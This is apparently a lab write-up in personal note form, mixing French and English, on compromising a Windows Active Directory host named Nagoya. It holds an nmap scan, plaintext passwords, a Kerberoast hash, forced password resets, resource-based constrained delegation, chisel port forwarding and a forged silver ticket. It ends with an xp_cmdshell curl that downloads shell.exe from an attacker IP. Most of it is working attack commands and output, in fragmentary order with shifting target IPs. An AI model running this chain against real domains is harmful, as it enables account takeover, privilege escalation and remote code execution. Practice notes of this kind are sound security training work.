
sudo nmap -p- -sV -sC 192.168.135.21 --open     
[sudo] password for alice: 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-04 18:03 CEST
Nmap scan report for 192.168.135.21
Host is up (0.066s latency).
Not shown: 65512 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE           VERSION
53/tcp    open  domain            Simple DNS Plus
80/tcp    open  http              Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Nagoya Industries - Nagoya
88/tcp    open  kerberos-sec      Microsoft Windows Kerberos (server time: 2025-04-04 16:07:56Z)
135/tcp   open  msrpc             Microsoft Windows RPC
139/tcp   open  netbios-ssn       Microsoft Windows netbios-ssn
389/tcp   open  ldap              Microsoft Windows Active Directory LDAP (Domain: nagoya-industries.com0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http        Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ldapssl?
3268/tcp  open  ldap              Microsoft Windows Active Directory LDAP (Domain: nagoya-industries.com0., Site: Default-First-Site-Name)
3269/tcp  open  globalcatLDAPssl?
3389/tcp  open  ms-wbt-server     Microsoft Terminal Services
| ssl-cert: Subject: commonName=nagoya.nagoya-industries.com
| Not valid before: 2025-04-03T16:00:55
|_Not valid after:  2025-10-03T16:00:55
|_ssl-date: 2025-04-04T16:09:31+00:00; +1s from scanner time.
| rdp-ntlm-info: 
|   Target_Name: NAGOYA-IND
|   NetBIOS_Domain_Name: NAGOYA-IND
|   NetBIOS_Computer_Name: NAGOYA
|   DNS_Domain_Name: nagoya-industries.com
|   DNS_Computer_Name: nagoya.nagoya-industries.com
|   DNS_Tree_Name: nagoya-industries.com
|   Product_Version: 10.0.17763
|_  System_Time: 2025-04-04T16:08:51+00:00
5985/tcp  open  http              Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf            .NET Message Framing
49666/tcp open  msrpc             Microsoft Windows RPC
49668/tcp open  msrpc             Microsoft Windows RPC
49676/tcp open  ncacn_http        Microsoft Windows RPC over HTTP 1.0
49677/tcp open  msrpc             Microsoft Windows RPC
49681/tcp open  msrpc             Microsoft Windows RPC
49691/tcp open  msrpc             Microsoft Windows RPC
49698/tcp open  msrpc             Microsoft Windows RPC
49717/tcp open  msrpc             Microsoft Windows RPC
Service Info: Host: NAGOYA; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2025-04-04T16:08:56
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 349.14 seconds

AD - Nagoya
vendredi 4 avril 2025 17:00
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Easy peasy
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nagoya-industries.com\

Fiona.Clark . Summer2023

Craig.Carr:Spring2023
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Svc_mssql Service1

svc_helpdesk

$krb5tgs$23$*svc_helpdesk$NAGOYA-INDUSTRIES.COM$nagoya-industries.com/svc_helpdesk*$37bf002ed0c3d5994c2de66c6259768e
$67ecee638b5fde346b0d3a67ab389ca26d438d5c8125fde1e7d5780e3199c401435dff01f651bac89115d3a02907837202b41cd563c5ba8c20727bed5c8dd54f29a631e088
d793c52060d53206cd86dd1607eb6748fce9ad79e0e22dd82ceaa1fbe787605f9f2fb7cf5531d58073c7580c799328a532de682cef6b24d6e95116d63d9b08a340bc33a4503
b11461a3a3be50e0a3842ea367b0b2750368c41df175ab7382a852c21d15722a091b63356b96db0f6805736ef6aa05cdaca1549365fedcef1afb76323deb9a2584c49636572
8c8a72b045f2199b869ac0ade50d60d377ca19841f23dfc4a1b5516de645df731b3c64ad3416f48c35dd99df4f5db509201e720fe216fa4177eb7a743ff7717b7f9e6b1c7e5b5
4aecdfcc9cb94b26045e971eb63d0433cc4e3fa21c70d6508164918f33d953ef8025bf26ccaceb28514c4e6034514ca16f34f10c131d43234b7a5b968152efb36f60e99158d47
31c5476fb8cbcd5dbd3aef4ee89dec2026e180662d161b3ec246eb984f6d15b50457e88d1011c98de9fee032a591ca865b50f905b91e17fb202eda896fa24a57a3e0e430db2
cd59c10da51712da783744b9ec1dcfc32f5312fd190e9b41f83db639cfdebeda61a2610b3153288e040cc6756a458021f36578289bf940097f2dcef95aa9e08dd39415d530f79
f5bf7edeb2a6daffee8e3709db0539674ff95d4faf246c8ca88d5c05e0f31fac2f5064733cc130ed04527bc6fed9db45576a7f7f6deeddb5d1ab27842452e3a37aa347e55cca85
95e698aad7a70d848c81d42ed8f779a5d267fa993956b36b0cdffe90f5dd142fdecd415a8192116c275dc093cc5ba5f3a95b954f6d9be310ebb803dc74c35a2564588f06c95b
d969cb64f881a433bf7199f1f6927f2f3df1398b9ff028eb1a7100560fcb80ca6813a286e41909880932a92b1b8784f9b87661c5f4fb00b068e25095c774e6a5f7068abfe09633
19d4befe3b40427ca2ea719b7d359486c8890b962660c38e23a11b71e884ca48ab79c7d46acb9a60216a1ad106a1b1c443c8cb75bfcf725a4c20b835dc2cd01f808d4cc3da1
791feb795a333f5bd99d8bfcc00dc8fb9954e9e06230d1ff17d85fc57cbd74f3f79449bd365127f1de59f5bd784544c13c1cf0bcd10dda4e964d7dbac03b579eeb8b0dffa48c67
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791feb795a333f5bd99d8bfcc00dc8fb9954e9e06230d1ff17d85fc57cbd74f3f79449bd365127f1de59f5bd784544c13c1cf0bcd10dda4e964d7dbac03b579eeb8b0dffa48c67
eb0384606d56fd49468602a13adf782945d72a54f5e1c6afe16c6d14e89bd01b38cb4a5a417bac364ebe67f193f38af237fb964a794edaa85f3fc9db5648dddb8fd73d087952
7b1145801e29ee8292f55e968546436f0996391d233566ef5817a575a0de7eb13bb35951045dbddc83d4510704251bb27b531740377e8f3871a757f9d5c6eb834839562c7
97707aac9aec121bd7a5f2c1dbbe86900f81a8abd0cb48aaefca49dd8df1b70dac2726d520efcb6341fd04824a50df4e7a8188daf11c2bf071dfa320fec36921c0de065096b6d
5d596980af2436a9fc43993b2458b314ac27696be5e1591bfe2a1980af70a02dbb0e86aeb7db5828426ed6644bb64d33025fb5628b9c97e5120a8e8fb4f4e18aae4f31cbb0b
5144fac0ce4c353160691c7df72bf3e7be3554d927eead834e5a7b13bb0db943fa

rpcclient -U nagoya-industries/svc_mssql 192.168.167.21

Svc_mssql : Service1

Joanna.wood

Possible attaque : kerberoast : 

targetedKerberoast.py -v -d 'domain.local' -u 'controlledUser' -p 'ItsPassword'

Force change password : 

net rpc password "TargetUser" "newP@ssword2022" -U "DOMAIN"/"ControlledUser"%"Password" -S "DomainController"

pth-net rpc password "TargetUser" "newP@ssword2022" -U "DOMAIN"/"ControlledUser"%"LMhash":"NThash" -S 
"DomainController"
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python3 targetedKerberoast.py  -v -d 'nagoya-industries.com' -u 'Fiona.Clark' -p 'Summer2023'

net rpc password "Joanna.wood" "Summer2023" -U "nagoya-industries.com"/"Fiona.Clark"%"Summer2023" -S "nagoya-industries.com"

Joanna.wood : Summer2023

On va ensuite changer le mdp du user christopher 

Christopher peut se connecter a la machine. 
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Setmachine priv : 

impacket-rbcd -delegate-to 'its-dc1$' -delegate-from '@nom' -dc-ip @IPDOMAIN -action write @NOMDEDOMAINE/@USER:'@PASWORD'

impacket-rbcd -delegate-to 'NAGOYA$' -delegate-from 'pchack$' -dc-ip 192.168.171.21 -action write nagoya-
industries.com/christopher.lewis:'Summer2023'

impacket-getST -spn cifs/@DCDOMAIN -impersonate Administrator -dc-ip @IPDOMAIN @NOMDEDOMAINE/
@USERMACHINE:'@PASWORDMACHINE'

Export KRB5CCNAME=Administrator.cccache

impacket-psexec -k -no-pass @DOMAINNAME/administrator@IP 

Ça ne fonctionne pas. Donc on va essayer de forger un silver ticket avec le compte de service svc_mssql 

On remarque bien le port 13

On voit bien le port 1433 qui est le port mssql. Donc avec ligolo on va transférer le port pour se connecter sur notre machine local. 
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Faire le port fowarding avec chisel et pas ligolo :

net rpc password "Joanna.wood" "Summer2023" -U "nagoya-industries.com"/"Fiona.Clark"%"Summer2023" -S "nagoya-industries.com"      
                                                                                                                                                                                                                                     
net rpc password "christopher.lewis" "Summer2023" -U "nagoya-industries.com"/"joanna.wood"%"Summer2023" -S "nagoya-industries.com"

Ensuite faire avec chisel prq ka chuis kao

#at kali machine

chisel server --port 445 --reverse

#at target machine

chisel.exe <serverIP:port> R:<kali port to forward to>:127.0.0.1:<local port to forward>

chisel.exe client $KaliIP:445 R:1433:127.0.0.1:1433

Bon je ne peux pas. Donc on va enfin faire l'attaque du silver ticket car svc_mssql est un compte de service. 

Impersonate Administrator via Silver Ticket

impacket-ticketer -nthash @MDPENHASHNTLM -domain-sid @DOMAINSID -domain @DOMAINNAME -spn 
MSSQL/nagoya.nagoya-industries.com -user-id 500 Administrator

Ce qui nous donne dans notre cas : 

Svc_mssql : Service1 = en hash ntlm : 

impacket-ticketer -nthash E3A0168BC21CFB88B95C954A5B18F57C -domain-sid S-1-5-21-1969309164-1513403977-1686805993 -domain nagoya-
industries.com -spn MSSQL/nagoya.nagoya-industries.com -user-id 500 Administrator

On récupère le SID
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Et le SPN 

Get-ADUser -Filter {SamAccountName -eq "svc_mssql"} -Properties ServicePrincipalNames
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EXEC xp_cmdshell "curl http://192.168.45.157/shell.exe -o C:\Users\Public\shell.exe"

CTF300LVLMidYear300@offsec.com
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http://192.168.45.157/shell.exe

